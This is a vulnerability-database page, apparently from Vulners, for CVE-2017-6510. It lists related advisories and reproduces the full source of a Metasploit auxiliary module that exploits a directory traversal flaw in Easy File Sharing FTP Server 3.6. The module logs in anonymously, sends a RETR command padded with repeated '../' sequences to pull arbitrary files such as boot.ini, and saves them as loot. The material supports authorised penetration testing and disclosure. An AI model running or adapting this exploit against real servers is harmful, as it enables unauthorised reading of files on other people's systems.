| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| Easy File Sharing FTP Server 3.6 Directory Traversal Exploit | 3 Apr 201700:00 | – | zdt | |
| CVE-2017-6510 | 29 May 201815:50 | – | circl | |
| Easy File Sharing FTP Server Directory Traversal Vulnerability | 21 Mar 201700:00 | – | cnvd | |
| CVE-2017-6510 | 16 Mar 201714:00 | – | cve | |
| CVE-2017-6510 | 16 Mar 201714:00 | – | cvelist | |
| Easy File Sharing FTP Server 3.6 Directory Traversal | 8 Mar 201715:59 | – | metasploit | |
| CVE-2017-6510 | 16 Mar 201714:59 | – | nvd | |
| CVE-2017-6510 | 16 Mar 201714:59 | – | osv | |
| Directory traversal | 16 Mar 201714:59 | – | prion |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
This vulnerability allows an attacker to download arbitrary files from the server by crafting
a RETR command that includes file system traversal strings such as '../'
},
'Platform' => 'win',
'Author' =>
[
'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-6510']
],
'DisclosureDate' => '2017-03-07'
))
register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])
])
end
def check_host(ip)
begin
connect
if /Easy File Sharing FTP Server/i === banner
return Exploit::CheckCode::Detected
end
ensure
disconnect
end
Exploit::CheckCode::Safe
end
def run_host(target_host)
begin
# Login anonymously and open the socket that we'll use for data retrieval.
connect_login
sock = data_connect
if sock.nil?
error_msg = 'data_connect failed; possible invalid response'
print_status(error_msg)
elog(error_msg)
else
file_path = datastore['PATH']
file = ::File.basename(file_path)
# make RETR request and store server response message...
retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd( ["RETR", retr_cmd])
# read the file data from the socket that we opened
# dont assume theres still a sock to read from. Per #7582
if sock.nil?
error_msg = 'data_connect failed; possible invalid response'
print_status(error_msg)
elog(error_msg)
return
else
# read the file data from the socket that we opened
response_data = sock.read(1024)
end
unless response_data
print_error("#{file_path} not found")
return
end
if response_data.length == 0 or ! (res =~ /^150/ )
print_status("File (#{file_path})from #{peer} is empty...")
return
end
# store file data to loot
loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)
vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
elog(e)
rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
elog(e)
ensure
data_disconnect
disconnect
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation